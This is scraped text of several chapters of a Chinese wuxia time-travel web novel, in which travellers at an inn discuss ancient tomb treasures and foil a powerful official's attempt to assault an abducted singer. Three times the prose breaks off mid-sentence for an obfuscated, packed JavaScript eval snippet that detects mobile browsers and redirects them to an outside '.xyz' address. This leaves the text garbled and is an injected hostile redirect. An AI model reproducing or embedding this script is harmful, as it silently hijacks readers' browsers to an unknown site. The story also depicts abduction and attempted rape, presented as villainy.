“哎呀公子胡说什么,人家分明就是个弱女子。”长辞故意恶心庄慕怀,食指软软地往他胸口一戳,低头娇媚道。 “!”其余三人见状肩膀一颤,江入年筷子上夹着的那片牛肉“噗通”一声掉在了茶盏里。 庄慕怀揉着有些发痒的胸口,微微往后一挪,“你好好的啊,别这样。” 长辞还想再恶心他两下,却听江入年道:“这宴贴还真是人人见了都眼红,我不信,难道这普天之下,真就只有归云阁里那么一条上山路?” “也不全然如此。”张行简说着放下筷子为他解惑。 “这大敖山一分为二,南面在吴越国境内,北面则属于我大宋领土。大宋境内,大敖山半壁皆环着水,水流湍急,根本无法乘船渡河,唯一的入口便是归云阁后崖上的吊桥,而吴越那侧,上山则要容易得多。” “这么说来,我们要是能从吴越国境内入山,岂不是压根用不着争什么破宴贴?” “话是这样没错,问题是你要怎么进吴越国?”庄慕怀看他眼珠子一转一转的,就知道他心里在打什么主意。 天下纷争已有几十载,各国边境设防尤其严苛,若非得诏,普通人根本不可能从大宋堂而皇之进入吴越国境内。更何况要从吴越上山,须得先绕到大山的另一面,沿途估摸得多走一两月之久,费时又费力。 这也是为什么大家宁愿去争一张宴贴,也不会想什么法子从吴越入山。 江入年还想再说些什么,却听此刻楼下你一言,我一语,似乎吵得更凶了。 就在这时,从外面进来个人。 三十岁的样子,面色凶戾,步伐沉钝,身形似铁塔一般结实,瞧着是有些功夫的。只见他往主位上那么一坐,周遭的喧哗声顷刻间就戛然而止了。 方才还耀武扬威的刀疤汉汉忙吐出嘴里叼着的草茎,点头哈腰地凑了上来。 “嚯。”长辞顺着栏杆往下望,心说至于么,这得是多大人物? 4. 第 4 章 那人不知跟一旁的随从说了什么,随从点点头麻溜地进院里去了。竹竿公子似乎也有些怕他,几欲张口想说话最终还是选择了闭嘴,咽了口唾沫乖乖坐下了。 “哎,你们说那个人身上会不会有宴贴?”长辞回头,一副跃跃欲试的姿态。 此前她为了隐藏实力不引人注目,所以才想着偷个病秧子的宴贴能少点麻烦,谁知病秧子是假,瘟神是真。所以说人不可貌相,没准看上去越是难啃的骨头,才越好得手。 “不能偷他的!” 几人猜到长辞的言外之意,极力反对。 尤其是江入年,紧锁着眉头道:“千万不能惹他,那人就是个凶残的变态!” 满脸的横肉算计,面相看着是不太好。长辞好奇,“怎么着,这人是通缉犯啊?” “比这更甚。”江入年虽然爱装酷侠,但到底还是个半大的孩子,说起这种事来简直滔滔不绝。 “此人欺男霸女烧杀淫掠,简直恶贯满盈,连自己父亲的妾室都要强占,逼得不少良妇上吊自尽,为此他还灭了不少口,偏没人能定他的罪,所以你以后见着他千万要躲着走,可别招惹这种恶人。” 这孩子瞧着虎,心地倒是怪好的。长辞眯眼笑笑,“谁啊这是,这么牛气?” “皇亲国戚呗。” 江入年愤愤不平,“他可是当今太后母家的表兄弟,做什么都有太后保着,何况还是范阳节度使的嫡亲长孙,自己也在朝中任职,普通人谁敢惹他呀。” “长的这么老,怎么还是个孙子?” 江入年点头,“嗯呢呗,谁叫人家有个长寿的祖父。” “这么说起来,这范阳节度使也就是太后的外祖父吧,老天爷啊那他得多少岁了!” 张行简知道她是误以为太后就够老的了,何况是其外祖父,遂解释说:“这太后可一点不老,你还记得我给你说过当今天子与太后的关系吧。” “当年柴世宗病逝后由七岁的幼子即位,那位年轻的符皇后便顺理成了符太后,奈何上位年幼社稷不稳,故今年年初时,将皇位禅让给了那位极具威望的殿前都点检,也就是当今天子。天子仁政,下令优待柴氏子孙,故而符太后依旧还是那个符太后。” “也就不到三十的年纪。” 原来这么年轻呢。 长辞眼珠一转又想到什么,意有所指地笑笑,“禅让?到底是禅让还是夺权啊?” “嘘!”江入年恨不得上手捂住她的嘴,“你这女人说起话来怎么疯言疯语的,当心被人听到告到官府,连累我们几个一起被抓!” 张行简也觉得她说话口无遮拦,这习惯可得好好改改。唯有庄慕怀不仅不怕,反而兴致勃勃,“官府好啊,白吃白住。” “……” 话头扯远了,长辞又扭头去看中堂的情况。楼下不知从何时开始议论起大敖山宝物之事。 “笑话,尔等连钟离国王陵有哪些宝物都不知道,还去大敖山干什么?”问话之人,还是方才那个眼尾带疤的大汉。 “这不凑热闹嘛,那您给讲讲呗。” “对啊,说说呗。” 刀疤汉先是眼神请示过那个江入年口中的凶残变态,这才拾起腰,神采飞扬道,“一千多年前的东周时期有个钟离国,这都知道吧。” “据说那钟离国都城之外有一座山,名叫大敖山。大敖山里埋葬着历代王室贵族,当然,也埋藏着不少绝世珍宝。” 众人频频点头,听他卖关子,“传言这王陵里一共有三宝,你们可知究竟是何宝物?” “什么宝物?” 他环顾一周,神神秘秘地伸出一根指头,“这其一么,自然就是无尽价值连城的黄金美玉。好歹也是个王公贵族的安息之地是不是,那能没点像样的东西吗?” 众人深信不疑。大汉很享受这种被人拥蹙着的感觉,连腰板都直了不少。 “这其二啊,是一个用上古时期神石打造而成的日晷。据说每年日头最盛的那一天亭午,将染满鲜血的玉璧置于晷针顶端整整一个时辰,之后再将其贴身佩戴,便可叫死者生而生者永生,若遇机缘巧合,还极有可能拥有穿梭时空之力。” “真有这么神乎?” “老子还能骗你不成!” 长辞睫羽微微一眨,隐隐记得自己来这里之前,好像的确是在观宇偏殿的一个屋里见过个日晷,当时她还纳闷,日晷一般都是放在外面的,放在屋子里能起什么作用,因此好奇还上手摸了摸。 难道说自己来到这里真的是那个什么神石日晷导致的? 至于那人口中所说的玉璧,长辞眼神落在了江入年腰间,初见他时长辞就注意到他戴着这么一块蟠璃纹玉璧,此玉极其眼熟,总觉得好像在哪儿见过…… “其三么,那可就厉害了……” “其三,是东周时期的一把青铜斧。”那个满脸横肉的皇亲国戚取下腰间佩剑往桌上一搁,目光森森地接过话茬。“今日你们听也就听了,但可别怪我没提醒过你们,这东西,不是尔等可以肖想的。” “传闻这斧子乃是钟离国的兵符,得之可号令天下。” 楼上雅间里随即传来一声少年的嘲笑,“哈哈哈笑死人了,说的煞有其事,这钟离国都消亡上千年了,将士们早死了,那兵符还能号令谁,难不成号令亡魂啊?” 江入年才不信呢。 “江少主还真说对了。” “什么?真、真有亡魂啊!” 张行简看了他一眼,缓缓开口,“曾有记载称,钟离国灭国之时,举国将士在大敖山脚自裁,整整三万英魂,无一例外全部殉国。然而他们死后并没有转世投胎,而是驻扎在大敖山以南的王陵里,千百年来一直护佑附近百姓平安顺遂,免遭战火袭击。” “这么忠烈……”江入年感到不可思议。 “传说而已。”庄慕怀向来不信这种子虚乌有之事,别说庄慕怀了,就是亲身经历过灭国的当事人之一长辞,也觉得这故事编得太扯淡了。 “哪听来的野史啊?”长辞问。 张行简想了想,“前朝一个叫蔡梁的人写的《东周遗录》,里面是如此记载的。” “你也算是学富五车博古通今的大才了吧,怎么还信这种无稽之谈?” 长辞其实挺佩服张行简,他的确是有些许过目不忘的本领,尤其是对历朝历代的史料,简直如数家珍。 她一个在东周时期生活了二十年的人,都没张行简对东周各诸侯国形势了解的多。虽说他知道的很多事情都与实际情况完全不符,但那也不是他的错,而是诸多往事史料记载本身就是错的。 “不信。”张行简端坐着,“我只是解释一下为何薛通会说出‘得之可号令天下’这句话,哦对了,薛通就是楼下那个皇亲。” “可三万人也不多呐,怎么就能以此号令天下了?”江入年不解。 庄慕怀道:“三万人是不太够,可要是换成三万鬼魂呢?” 江入年听罢打了个哆嗦,紧接着张行简又说,“没错,这三万英魂各个战力非凡,以一当百,攻无不克战无不胜,所向披靡,故而坊间才有传言说,得之可得天下。” “那他们怎么不去复国,钟离国还不是就这么给灭亡了?” “这……”确实是经不起推敲。 楼上的不信,可楼下的人却没一个不信的。长辞往下面瞥了一眼,“不是吧,这些人还真信?” 庄慕怀低笑,“世人皆有欲望,有欲望就会有争夺,有争夺自然就会有人信。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083236|179455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长辞正想问他“那你信不信”,就听楼下坐着的那个竹竿公子说,“照你这么说,那归云阁近水楼台,地动发生之后应该早就将宝物尽收囊中了,哪里还轮得到我们前去?” “归云阁算个什么鸟,不过一群山野村夫罢了,哪能破得了钟离国王陵的重重机关。”刀疤汉不屑,又奉承地站在薛通跟前,“要说这机关术,还得看我们薛大人啊。” “可不是么,他们巴不得薛大人前去打开机关,带他们长长见识呢。” “哈哈哈。” 一群自诩非凡的人跃跃欲试,尽情地做着美梦,连带着江入年都被感染了,“我要去,我要去,等我找到那个日晷,就穿梭到钟离国去看那些忠烈之士。” 忠烈个鬼,长辞心道。 “都说了只是传说而已,你这孩子怎么还没完没了了。”长辞有些不耐烦,“人家说什么你都信,你傻子啊。” “你才傻子!”江入年扬起下巴不满,“再说你瞧不起谁呢,你有我年纪大吗你!” 长辞一愣,难道我这么显年轻?说着方才那股子不耐烦也没有了,嘴角止不住地上扬,“姐姐我今年整二十了。” “怎么可能?看着也就十五啊。”江入年狐疑地盯着对面那人,这女人鬼精,别是骗自己的吧。 “哎呀,你这孩子,真是会说话!”长辞美滋滋的,双手捧着脸笑得跟朵花一样。 江入年有些凌乱了,目光看向张行简,“她真二十啊?” 张行简点点头。长辞长了张讨喜的娃娃脸,杏仁眼,见人总笑眯眯的,之前江宁人都以为这孩子也就十来岁,不过是个子长得高了些。最一开始张行简也这么以为,后来出城要办路引时,他才知道她都二十了。 江入年还是不信,“除非你把路引拿出来给我瞧瞧。” 得,事儿真多。长辞在腰间的布袋里一阵捣鼓,将路引递到对面,“看清楚了。” “江宁杏林堂叶长辞……还真二十啊。”江入年左瞧瞧右看看,上面也有官府的章印,看着的确不像假的,说着视线又落回最右侧的名字上,“我还以为你叫常慈呢,慈祥的慈,怎么是这两个字呀,瞧着有些……” 不吉利。 庄慕怀拎着酒壶转过头,“我看看,哪两个字?” 余光还没瞥到,就听栏杆边上的人回答,“与世长辞的长辞。” 一口烈酒入喉,长辞倒是语气稀松平常,可一旁的庄慕怀心里却隐隐有些不是滋味,好端端的姑娘家,怎么起这么个名儿。 张行简也这么认为。前阵子他托表舅给长辞办路引时,曾有过一样的对话,当时他问长辞是哪两个字时,她亦是这么答的。张行简一顿,也没好意思问她爹娘怎么给孩子取这么个名字,只能照着写了。 “原来你姓叶啊。”江入年合上路引,还给了长辞。 “不是的。”张行简解释,“长辞不是江宁人,也没有合适的身份,只能暂时记在了表舅族下,表舅姓叶,所以路引上就写成了叶氏。” 没有合适的身份? “这么神秘?”庄慕怀笑着看她,仿佛想从她的眼神中瞧出点什么来。 长辞歪着脑袋陪他一起笑,“您不也是?” “你不是江宁人啊,那是哪里人?”江入年随口问了句,想说没准还是老乡呢。 长辞揣好路引故意向江入年靠过来,阴森森道,“当然是……钟离国啊。” 这女人还真是张嘴就说瞎话,江入年朝她翻了个白眼,“那你岂不是老妖怪了!” 听罢长辞发出一串笑声,“哈哈哈,这称呼我喜欢。” 说着直起身子,边抻脖子边往外走,“行了,睡觉去了,后会无期啊。” 她这一走,张行简自然也就跟着离开了。 5. 第 5 章 此刻已是二更天,外面有更夫敲锣打梆,和着雨水噼里啪啦打在屋檐瓦罐的声音,倒是让人轻易就能入眠。 一楼中堂的人也渐渐散了,这一安静,雨声便听得更加清晰。窗外有几缕夜风灌了进来,吹得江入年的薄衫翩翩而起,他拢了拢袖口,看向坐在窗边饮酒的庄慕怀。 “夜里还真是冷啊,我们也赶紧回去吧。” 不知道是不是雨声扰人,庄慕怀眼神落在桌上那个四四方方的宴贴上,莫名有些烦躁。 江入年将下巴搁在桌边,有一搭没一搭地磕着,倏而一只小飞蛾打眼前飞过,他眼睛骨碌一转,拾起身道: “哥,你该不会是喜欢那个……” “乱说什么。” “那她还你宴贴你怎么不开心啊?”不就是怕日后没有接近她的由头了么。 话说这位与他一起长大的表哥,自小随心所欲,想说什么便说,想干什么就干,被他父亲打也打过,斥也斥过,可依旧还是没什么规矩。许是幼时放纵过多,长大后反而很少再对什么事感兴趣,更别提对什么人上心了。 所以这次他从家里偷溜出来找表哥玩时,见他被人偷了东西不但不恼火反而一副兴致盎然的样子,就知道估计那贼不简单。今日一见,果真不简单。 “没有不开心,只是很久都没碰上这么有趣的人了,玩得好好的她突然不玩了,有点失落罢了。” 哪儿玩得好好的了?江入年在心里诽谤,你都要抓人家去见官了! 虽说叶长辞那个人看着也不像是省油的灯,但碰上表哥这个“疯子”,还是她更倒霉一些。 当然,“疯子”这个称号可不是他说的,是整个汴京城都这么说。 汴京人总道,“庄家那位公子啊,生来怕不是就是来寻仇的,表面上一副温润君子样,实际上跟疯狗也没什么两样,只是苦了庄大人,整日里不是给张家道歉,就是去王家抚恤。” 江入年也不知表哥怎么了,这些年是越发听不进姨父姨母的话了。 前年在岁旦夜宴上,有几个不长眼的勋贵子弟非要跟表哥过不去,说出来的话简直污耳,“什么不是庄夫人所生,是个歌女的种”,吓得江入年眼皮子突突跳,直替那几人捏把汗。表哥也是不负众望,直接将他们全部打包送去了乱葬岗,又是暗器下毒又是装鬼吓唬,据说第二天家人找到的时候,那几位公子披头散发,脸色煞白,吓得尿了好几次裤子,嘴里念念有词,已是神志不清了。 那几个爹哭哭啼啼跑去御书房告御状,当年还是世宗在位,姨父当着天子的面将表哥打得皮开肉绽。 可即便如此,他也死活不道歉,嘴里含着血沫子笑人家,“一群没用的东西,我不过是好心帮他们练练胆,至于闹到老子这儿来吗?没劲透了。” 事后江入年去府里看他,见他趴在榻上动弹不得,忍不住劝道:“哥,你以后能不能稍微、稍微收敛那么一点点啊,别去搭理那群蠢货了。” “是没什么意思。”庄慕怀语气淡淡,“汴京这些人规矩又无趣,全都死气沉沉的,还特别玩不起,一点意思都没有,我打算养好了伤去南边看看。” 结果计划赶不上变化,还没来记得走呢,世宗就因病薨了,因为庄府和皇家有那么丁点血亲关系,庄家人都得在汴京守孝,后来三耽搁两耽搁,就到了今春时节。 当时“大敖山宝物现世”的消息突然在汴京炸了锅,整日都恹恹的表哥终于提起了一点兴趣,姨父姨母管不住他,他的事向来都是自己做主,因此也不顾家人反对,当即就准备行囊南下去了。 可怜江入年磨破了嘴皮子江夫人也不放他,于是只能等待时机偷偷溜出府。 这不,前几日才在来昇州的路上追上了表哥。 又是一股冷风灌进窗内,江入年耍酷穿的少,有点遭不住了,“哥,你慢慢喝,我先回房了啊。”说着一溜烟跑了。 独留庄慕怀一个人坐在窗边陷入沉思。 他将宴贴拿在手里把玩,大概是因为在长辞那儿放了些日子的缘故,宴贴上面沾染了一点淡淡的香气,像阳春三月里盛开的桃花,朝气蓬勃,清甜烂漫。 想着想着庄慕怀突然回过神来,觉得自己多多少少是有点病,一个破宴贴怎么可能会有朝气跟清甜这种东西…… 长辞回了客房,洗漱一番正准备睡觉。 谁知关窗时,突然看见窗下有两人正挨着脑袋窃窃私语,长辞竖起耳朵一听,原来是要对什么女子行不轨之事。这窗户靠着廊院一边,借着客房里的光隐隐能看到那两人的面庞。 定睛一看,其中一个竟然是薛通进客栈时跟在他身后的随从! 记得当时薛通一进客栈就附耳对他说了什么,然后那人就进院里了,感情是在这儿等着害人呢。 屋内灯盏上的烛火被吹灭,长辞悄悄移到窗边。不一会儿,薛通果然出现了,他显然是喝得有点醉了,走路摇摇晃晃的,脚步有点发虚。 这时,其中一个随从进了间屋子,带出来个年轻貌美的女子。 那女子嘴里塞满了棉布,胳膊被绳索束缚着,似乎想叫又叫不出来。薛通伸手在那女子脸上拍了两下,半眯着眼□□,那眼神就像拿着刀的厨子掂量着砧板上的鱼肉。 长辞想起江入年说的,薛通玩弄女子的花样向来颇多,而且大多都十分残忍。 女子双眼充满了恐惧,看得薛通异常兴奋,一把将其扛在肩上,往廊亭的方向走去。那廊亭正对着前堂客房,檐角挂着几个灯笼,血红血红的,像是要吃人,廊下虽垂着长长的薄纱,但风一吹,里面的景象就会一览无遗。 “还真是个变态!” 长辞鄙夷,畜生么,什么癖好,竟然要在大庭广众之下玷污了那女子!这是存了心地不想给人活路。 她指尖一弹,花盆里一粒石子便“咻”地一下朝廊下飞去,“啪”地打在了薛通手腕的穴位上,痛得他顷刻就叫出了声。 “谁?”薛通起身看向石子打来的方向,目露杀意,瞳仁黑得渗人,“敢坏老子的事,活腻歪了是吧!” 长辞与薛通在黑夜中对视一眼。她倒是小瞧了这个变态,方向感竟然这么准,看来确实有些功夫在身上。正想着,一个黑影忽从窗外飞了进来,长辞往后一退,抄起手边的花瓶就要砸。 那人忙道:“是我!” “吓我一跳,你来干什么?!” 庄慕怀从她手里接过花瓶放回原位,整了整衣摆,“当然是跟你一样,看热闹了。” 无聊。“好看吗?” “不好看。”庄慕怀借着廊亭挂着的灯笼看清了那女子的长相,“这女子应该是昇州名坊里新进的歌女,按规矩是不卖身的,不知怎么被薛通给掳到这儿来了。” “行啊你,这才来了多久,就对青楼女子这么了如指掌了?”当日他分明是与自己一前一后离开的江宁城,就算脚程再快,也不过就是早到两三日而已。 果然不是个什么正经东西,看来“装不坏”这名字真是叫对了。 “咳。”庄慕怀竟有些心虚,下意识解释,“我只是那日去探听消息时无意间撞见了那女子而已。” 长辞眼神一亮,“什么消息?说出来我们俩交换交换。” “交换不了。”庄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083237|179455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慕怀虽然看不清她的模样,却感觉得到那两大眼睛指定正骨碌碌乱转。“我要打听的,可不是什么大敖山宝物之类的无聊事。” “那是什么?”长辞问。 “秘密。” 雨点斜斜地吹打在墙面密密麻麻的藤蔓上,屋里黑乎乎的,长辞盯着他的眼睛看了看,却什么也看不清。 薛通竟然没找上门来,而是环顾了一圈之后,见没什么动静便又让随从去院门口把守了,紧接着饿狼扑食一般地撕扯那女子的衣衫。 长辞自然不信他就这么算了,肯定是这会儿满脑子都是那档子污秽之事,暂时还顾不上跟自己算账。 江入年说过这个变态就喜欢虐待和侮辱女子,越是刺激和违背纲常伦理他就越是兴奋,以前在汴京不少女人都惨遭他毒手。 真是多看一眼都嫌恶心,长辞活动活动手腕,这种脏东西还是一刀杀了干净!她把外裳往身上一套,从枕头下抽出一把短刀就准备出去。 就在这时,院内突然响起一道愤懑的声音。 “住手!” 这声音怎么听着有点耳熟啊?长辞定睛一看,竟然是竹竿公子。有点不可思议,他不是也挺怕这个薛通的么? 只见他打着把伞一路小跑过来,行至廊下,把那油纸伞往外面的草地一扔,有些愤怒又不敢太大声,“薛大人这是做什么?就算是这档子事,也得讲究你情我愿吧!你、你怎么能强人所难?” 薛通似乎没想到有人敢这么跟自己说话,一时逗得哈哈大笑,蒲扇大的巴掌落在竹竿公子肩上。 “强人所难?哈哈哈老子还就告诉你了,你情我愿的事我偏就觉得没意思,怎么着,我这个人就是贱,就喜欢强人所难,你有意见?” 竹竿被这一掌震得胸口都疼了,揉着胸口道:“你!” “我看不如……”薛通双眼一亮,视线停顿在地上那女子白皙的脖颈上,“你就在一旁尽情看着,看看本大人这御女的功夫如何?哈哈哈哈哈。” 竹竿公子瞪大眼睛,显然是已经被气得说不出话来了。 “我还以为他多厉害。”长辞靠在窗边摇头,“谁知完全不是薛通的对手,竟然连这么轻一掌都接不住。” 庄慕怀道:“薛通这人自小跋扈,不管捅了多大篓子家里都给收拾,年轻时他祖父与父亲常年在外打仗,根本无暇管教儿孙,女眷们自是宠着惯着,哪儿舍得叫谁碰他半点。这种环境下长大的人,都是家族里的祸根。” “怎么说?” “因为他们一学无成丝毫没有敬畏之心,不讲法,不懂礼,而且还蠢得厉害,不长脑子只长欲望,日子久了难免空虚得不到满足,故而开始寻求新的刺激点,久而久之,性格便会变得古怪阴戾,甚至是残暴噬虐。” “哇,你这么懂?”长辞不由得怀疑,“难道你也有这种癖好?!” “……”庄慕怀有时候真的很想跟她打一架,“不好意思,我没这么低俗,让你失望了。” “那你给我说这个干嘛?” “我只是想告诉你,以后遇到这种人最好躲着走,千万别去招惹。” “知道啦!”长辞笑嘻嘻去拽他袖口,还左右晃了两下,“装不坏,你人真好。” 她出门在外惯会装得嘴甜心软,说完也没在意,自然也就不知道庄慕怀乍然听到这句话,脑子“嗡”地一下就乱了套,满脑子都是“你真好,你真好……”, 咳咳,怎么回事,怎么心里突然痒痒的,挠也挠不上,这女人可别是又给自己下什么毒了吧!庄慕怀表情有些不自然,正想着怎么开口,就听院内突然传来一声尖叫。 6. 第 6 章 “你、你要干什么!你疯了吗!我爹可是淮南路提点刑狱公事,你敢杀我!” 话还没说完,就听“噗通”一声,竹竿公子被人一脚踢到了廊亭之外的水池里。好在水不深,他一个翻身就爬起来了。 “狗东西,敢阴老子,你还真是敬酒不吃吃罚酒!” 薛通捂着胳膊上被划伤的口子,缓缓地向池塘靠近,就像是盘踞于林间啐满了巨毒的阴蛇,随时准备着将人吞噬在这黑夜之中。 原来是竹竿公子趁其不备暗算他,看来薛通是真的起了杀心了。 客栈的人大多都被吵醒,有几间屋子亮了灯,长辞能听到窗户被打开又随即关上的声音,紧接着仅有的几点亮光又都相继灭掉了。 也是,谁敢招惹这位。 “这么一比,竹竿公子倒显得有几分气节了。”长辞手一撑利落地翻下窗,稳稳落在墙根。 “喂,你要做什么?”随之而下的庄慕怀一把拉住长辞,“都说了别招惹他。” “那你意思是我们就这么干看着?”长辞自诩不是什么好人,可也不是什么腌臜的东西都看得过眼的。 于是盯着庄慕怀的手说了句,“放手。” “得。”庄慕怀叹了口气,伸了个懒腰从腰间摸出玉笛,“我也是安分太久,都快忘了自己是个恶人了。” 长辞一愣。听一旁那人道:“还看什么?走啊。” 这会儿雨势渐渐小了,偶有几颗零星的雨点儿从天而降,落在池塘里随即泛起一片涟漪。 竹竿公子刚爬上岸,就被夜里的冷风吹得晕头转向,冻得牙关直哆嗦。这还没怎么缓过劲儿呢,薛通的刀就冷飕飕砍过来了。 他一屁股坐在地上,像是烂在地上的泥人一般,已经吓得完全感知不到四肢百骸的存在了。 眼看大刀就要落下,刹那间,只听“咣当”一声,从墙角处飞出一只短箭,不偏不倚射在薛通手中的刀柄上,震得持刀之人连连退了好几步。 “哪个孙子?!还不给老子滚出来!” 薛通今日被人三番五次地破坏好事,显然是已经忍耐到了极点,此刻那双布满血丝的双眼仿若要吃人,牙齿咬的咯嘣响。 这时从草丛后走出来两个人。 “怎么是你?” 薛通一愣,怎么都没想到会是这个人,“庄慕怀,老子向来与你井水不犯河水,你要是现在滚出客栈还来得及。” 他们竟然认识?长辞摸着下巴想,看来装不坏这小子也不简单呐。 庄慕怀不慌不忙地将箭矢收回玉笛中,脸上带着几分看似和善的笑意,漫不经心道:“怎么办?我这人向来不喜欢别人对我说‘滚’这个字,薛大人,你这么说我,我好像有点不开心了。” 明明这话说的也没什么,可长辞就是莫名觉得背后有点发凉。 薛通一口气提上来也不是,咽下去也不是,瞬间酒就醒了大半。 虽说庄慕怀这孙子比他岁数小不少,当年自己在汴京城里横着走的时候,他还不知道在哪里穿开裆裤呢。可这人前些年里做的那些事连自己听了都发怵,薛通自知不是善类,可也只是行事荒诞了些,跋扈了些,哪像这人,分明就是个不要命的疯子。 他今日气急败坏敢杀那什么提点刑狱公事的龟儿子,一是喝醉了酒人不大清醒,二是昇州天高皇帝远,杀个人算得了什么。再说区区提点刑狱公事和薛家盘根错节的关系比起来,算什么玩意儿,杀了也就杀了。 可庄慕怀这疯子做事绝不会想这么多。 他向来都是凭着喜好去做,既不给自己留后路,也不给别人留后路,要是真有人踩了他的尾巴骨,那就是天王老子来了他也能往死里弄。 据说前几年他不知因何与世宗发生了争执,竟然当场剑指天子,那可是天子啊!薛通默道,真是疯的不能再疯了。 可话都说出去了,他好歹也是个有身份的人,总不能一炷香的功夫都不到就给人低头认罪吧。 薛通故作镇定地拾起刀,“庄公子这话可就说的不讲道理了,明明是你打落我的刀,扰了我的事,怎么还想让我给你赔罪不成?” “哪里的话,大家都是旧相识了,什么赔罪不赔罪的。” 庄慕怀低头拨弄着玉笛上的机关,也不知道是不小心还是故意,好几次都手滑射出来飞针之类的东西,好在次次都射到树上了,没伤到人。 薛通眼皮一跳一跳的,生怕被他一个“不小心”就刺穿了喉咙。他自己武功不算低,可那要看是跟谁比了,如果对方是庄慕怀,那他的确连两成的胜算都没有,尽管他身后还站着两个侍卫,可庄慕怀这小子擅使暗器,阴着呢。 何况他还带了个帮手。那姑娘身手还算敏捷,虽然看不出她内力有多深厚,但起码是有些功夫的。 长辞趁着他们说话的功夫一刀挑开缚住那女子的绳索,取下棉布,皮笑肉不笑地盯着那两个蠢蠢欲动的侍卫。 “敢动一下试试?” 那女子总算能呼吸了,跪坐在地上大口大口地喘着气,也不知是憋的还是吓的,涕泗横流,全身抖得厉害,问话也不说,只是摇头。 长辞正愁不知道把她怎么办呢,就见此时江入年打了个哈欠,迷迷瞪瞪地从前堂走过来了。 “我说,你们大半夜的不睡觉,在院子里干嘛呢,逮蛐蛐呢!”可这季节也没有啊。 长辞给他使了个眼色,江入年转头一看,我勒个去!薛……薛通!这变态怎么也在这儿,难道是出什么事了? 看看长辞的口型,又看看她身旁的女子,江入年也不笨,瞬间就明白过来怎么回事了。 忙扶起地上那女子,“哎呀呀,地上这么凉,快起来,你不是明春坊那个谁嘛,我认得你,你说巧不巧,我这会儿正要去明春坊喝酒呢,不如姑娘给我带个路吧。” 说着就抓着那女子要往院外走。薛通伸手一拦,冷笑道,“江小公子这是做什么?” 长辞一个跨步挡在那女子身前。 随从见状忙跟着道:“这歌女可是我家主子花了大价钱请来的,算是主子的人,你们这是要明抢吗?” “看到没?下人都懂的道理……”薛通盯着长辞,“小美人不会不懂吧?” 方才他还没注意看,此刻仔细一瞧,这小美人看着腰窄肩细,行动起来身姿却强劲有力,不知道要是弄到手是个什么滋味……别说,他还就喜欢这种泼辣的,带劲儿! 真想看她蹦跶、挣扎却始终逃不开自己的手掌心的样子,光是想着就已经兴奋到难以自拔。 长辞哪儿能不知道这腌臜货在想什么,顿时一股子无名 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083238|179455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 火窜了上来,她方才就说直接杀了得了,免得恶心人,可庄慕怀偏要拦着她。 现在好了,给自己气够呛。 庄慕怀不杀他当然不是怕他,一是觉得为了个歌女没必要得罪太后和薛家,二是他还有些事要从薛通口里往出套,所以暂时还不想让他死。 “薛大人见笑,我这个弟弟没见过什么世面,看见皮相好的就走不动道,不如薛大人卖我个面子,就把这歌女让给他如何,您身边什么人没有,也不差这么一个是不是?” 庄慕怀松松倚在廊下的柱子上,“我这人最是讲究兄友弟恭,我弟弟要是舒坦了,我心里也就舒坦了,那薛大人不也就能舒坦了吗?” 言外之意就是方才那个“滚”字就不计较了。 这台阶给的可真大,不下白不下。薛通连忙笑道:“哈哈哈,江小公子血气方刚,理解,理解,快去吧,可别耽搁了良辰美酒啊。” 薛通这会儿注意力都放在长辞身上,哪儿还管得上什么哭哭啼啼的歌女。 估摸着江入年和那女子已经出了客栈,长辞一刻也忍不了了,抬脚就把薛通给踹池子里去了。 她扭了扭脖子,从腰间摸出一把佩刀,眨眼间就瞬移到了池塘边,“吃了熊心豹子胆了,老子的主意你都敢打!” 说着就朝着薛通左臂上那个被竹竿公子误伤的地方补了一刀。 “啊啊啊!”庄慕怀还没反应上来,就听见夜空中划过一声惨叫,只怕是连薛通本人都没意识到,这叫声是从自己的喉咙发出的。 这女人还真是不好惹! 眼看她抬手又要去刺,庄慕怀急忙一把抓住她的手腕,“差不多行了啊,你还真要杀他?” “不杀难道留着跟你拜把子?”长辞瞪他。 看来是真生气了。 庄慕怀知道这下不能硬来了,赶忙道,“可不能杀他。你想啊,要是你身上背着条人命,那眼下还能顺利地离开昇州吗?自然是不能了。到时候不光官府要抓你,薛家也要找你报仇,那些人可一个比一个难缠,要真耽误了你去大敖山的正事,岂不是得不偿失?” 长辞脚尖一点,立在池塘上方的桥墩上。这话说的也在理,当初她生怕庄慕怀带她去见官,主要也是这个原因。 “行吧。” 她嫌弃地看了一眼池塘里那变态,“今日看在庄慕怀的面子上就不杀你了,但你最好安分点,别再让我瞧见,否则我见一次杀一次。” 薛通僵着张脸,捂着伤口连滚带爬地跑了,他其实伤的并不重,这要是放在以往,他早就提着刀跟对面打起来了。可今日那人的刀法简直如鬼魅一般快,他根本不敢贸然出手。 